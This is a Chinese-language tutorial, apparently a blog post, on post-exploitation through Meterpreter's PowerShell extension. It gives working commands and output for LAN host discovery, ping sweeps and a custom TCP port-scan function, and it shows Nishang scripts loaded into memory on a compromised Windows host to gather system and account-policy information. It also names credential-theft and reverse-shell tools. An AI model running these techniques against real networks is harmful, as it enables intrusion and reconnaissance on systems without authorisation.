MSF是一个功能强大的渗透测试工具,它可以帮助安全研究人员和渗透测试人员识别漏洞、开发漏洞利用和执行攻击,而Powershell作为内置于Windows操作系统中的功能强大的脚本语言,其本身具有执行命令、访问操作系统API、访问文件系统等强大的功能。此外,Powershell还具有使用内存进行攻击、绕过安全防御系统检测等特性,因此它可以成为攻击者进行内网渗透的理想工具。本文将演示本地PowerShell攻击与Meterpreter有效负载进行集成攻击。
首先我们在受害者系统上建立Meterpreter有效负载
通过运行 load powershell 来加载 PowerShell 扩展
加载 PowerShell 扩展后,我们可以访问四个与 PowerShell 相关的命令:
powershell_execute
:执行 PowerShell 语句,包括用分号分隔的复杂语句
powershell_import
:导入本地 PowerShell 脚本,以通过 Meterpreter 通道在远程系统上执行
powershell_shell
:启动交互式 PowerShell 外壳
powershell_session_remove
:用于在创建 PowerShell 会话时使用 -s 参数执行/导入/外壳
powershell_execute
命令很简单:执行一个或多个 PowerShell 语句并返回输出:
使用 PowerShell 的 Get-NetNeighbor cmdlet
来发现本地系统已知的 LAN 上的其他主机,具体命令如下:
powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'
利用 foreach 循环和 PowerShell 管道,使用 Test-Connection
执行 ping 扫描以识别其他主机:
meterpreter > powershell_execute '1..254 | foreach { "192.168.171.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName 192.168.171.${_} -Quiet)" }' 192.168.171.1: True 192.168.171.2: False 192.168.171.3: False 192.168.171.4: False 192.168.171.5: False 192.168.171.6: False 192.168.171.7: False 192.168.171.8: False 192.168.171.9: False 192.168.171.10: True 192.168.171.11: True 192.168.171.12: False 192.168.171.13: False 192.168.171.14: False 192.168.171.15: False 192.168.171.16: False 192.168.171.17: False 192.168.171.18: False 192.168.171.19: False 192.168.171.20: False 192.168.171.21: True ...
PowerShell中使用Test-NetConnection -ComputerName -Port
的内置TCP端口扫描仪功能
powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'
利用上面的命令能得到正确结果,但是需要的时间有点长,因为Test-NetConnection
在发送 TCP 端口测试之前会发送大量流量来验证主机是否已启动,从而产生大量开销,导致需要大量的时间。所以下面我们直接调用 TcpClient .NET 类,来构成命令如下:
1..1024 | foreach {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.171.21",$_)) "Port $_ is open!"} 2>$null
使用 TcpClient .NET 类比 Test-NetConnection
快,但仍然相当慢,主要原因是当端口被过滤或未响应打开或关闭的消息时会消耗大量时间。通过编写如下脚本来优化速度:
Function Test-CommonTCPPorts { Param($address, $timeout=1000) $ports = @(21,22,23,25,53,80,81,110,111,113,135,139,143,179,199,443,445,465,514,548,554,587,993,995,1025,1026,1720,1723,2000,3306,3389,5060,5900,6001,8000,8080,8443,8888,10000,32768) ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient try { $result=$socket.BeginConnect($address, $port, $null, $null) if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
在Test-CommonTCPPorts
中,根据Nmap工具中的文件,使用了前20个最常见的TCP端口列表进行扫描。并没有在 TcpClient .NET 类中使用 Connect() 方法,而是使用 BeginConnect(),它能够在端口没有响应时指定更短的超时值,接着我们可以使用 msf 将此脚本加载到内存中。
Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
当被加载到PowerShell命名空间中,我们就可以调用它来扫描系统,可以选择指定一个超时时间来加速扫描(此处将超时持续时间减少到 500 毫秒):
meterpreter > powershell_execute 'Test-CommonTCPPorts 192.168.171.21 500' [+] Command execution completed: 21 - closed 22 - closed 23 - closed 25 - closed 53 - closed 80 - closed 110 - closed 111 - closed 135 - open 139 - open 143 - closed 443 - closed 445 - open 993 - closed 995 - closed 1723 - closed 3306 - closed 3389 - closed 5900 - closed 8080 - closed
了解目标系统和侦听服务后,我们可以依靠其他 PowerShell 功能来进一步枚举系统。可以使用 Get-WmiObject 类win32_share枚举 SMB 共享:
Nishang是一个基于Powershell编写的开源渗透测试和后渗透框架,它包含了一系列的Powershell脚本和模块,可用于执行多种内网渗透和后渗透任务。Nishang包含了许多有用的工具和模块,包括以下几个方面:
1、网络扫描和信息收集:Nishang提供了一些用于扫描和信息收集的Powershell脚本,如Portscan.ps1、Get-ADUsers.ps1和Get-NetStat.ps1等。这些脚本可用于扫描网络端口、收集系统信息、获取用户列表等。
2、漏洞利用和权限提升:Nishang提供了一些漏洞利用和权限提升的Powershell脚本和模块,如Invoke-Mimikatz.ps1、Invoke-MS16-032.ps1和Invoke-PsExec.ps1等。这些工具可以帮助攻击者获取系统权限、突破防御系统等。
3、后渗透功能:Nishang提供了一些后渗透功能的Powershell脚本和模块,如Invoke-PowerShellTcp.ps1、Invoke-PowerShellUdp.ps1和Invoke-Encode.ps1等。这些脚本可以帮助攻击者在目标系统上建立反向Shell、执行命令、上传和下载文件等。
Meterpreter中最强大的PowerShell功能是能够使用powershell_import将攻击者系统的本地脚本加载到Meterpreter PowerShell环境中。这使我们能够通过 Meterpreter 将 PowerShell 脚本与目标系统集成,而无需将脚本作为文件上传到受感染的系统上。
直接使用 git 将 Nishang 下载到目录中。我们就可以直接从 Metasploit 控制台执行此操作:
Nishang脚本脚本地址:https://github.com/samratashok/nishang.git
meterpreter > background [*] Backgrounding session 8... msf6 exploit(windows/smb/psexec) > git clone https://github.com/samratashok/nishang.git [*] exec: git clone https://github.com/samratashok/nishang.git Cloning into 'nishang'... remote: Enumerating objects: 1699, done. remote: Counting objects: 100% (8/8), done. remote: Compressing objects: 100% (7/7), done. remote: Total 1699 (delta 2), reused 4 (delta 1), pack-reused 1691 Receiving objects: 100% (1699/1699), 10.88 MiB | 2.01 MiB/s, done. Resolving deltas: 100% (1061/1061), done. msf6 exploit(windows/smb/psexec) > sessions -i 8 [*] Starting interaction with 8... meterpreter >
使用攻击者系统上的Nishang脚本,我们可以通过 Meterpreter 导入并执行:
meterpreter > powershell_import nishang/Gather/Get-Information.ps1 [+] File successfully imported. No result was returned. meterpreter > powershell_execute Get-Information [+] Command execution completed: ERROR: get-childitem : Cannot find path 'HKEY_CURRENT_USER\software\simontatham\putty' because it does not exist. ERROR: ERROR: At line:27 char:34 ERROR: + else{$key = get-childitem <<<< $regkey} ... Account Policy: Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): Unlimited Minimum password length: 0 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: WORKSTATION The command completed successfully.
Powershell可以用于编写各种恶意软件,例如免杀木马、后门、勒索软件等。攻击者可以编写Powershell脚本来实现各种功能,例如通过网络传播、远程执行恶意代码、窃取敏感数据等。此外,攻击者还可以使用Powershell与其他工具和技术结合使用,例如Metasploit、Powercat、Netcat等。在我们去分析学习powershell语言时,我们可以通过他人编写的脚本进行改写,来快速达到我们的使用需求。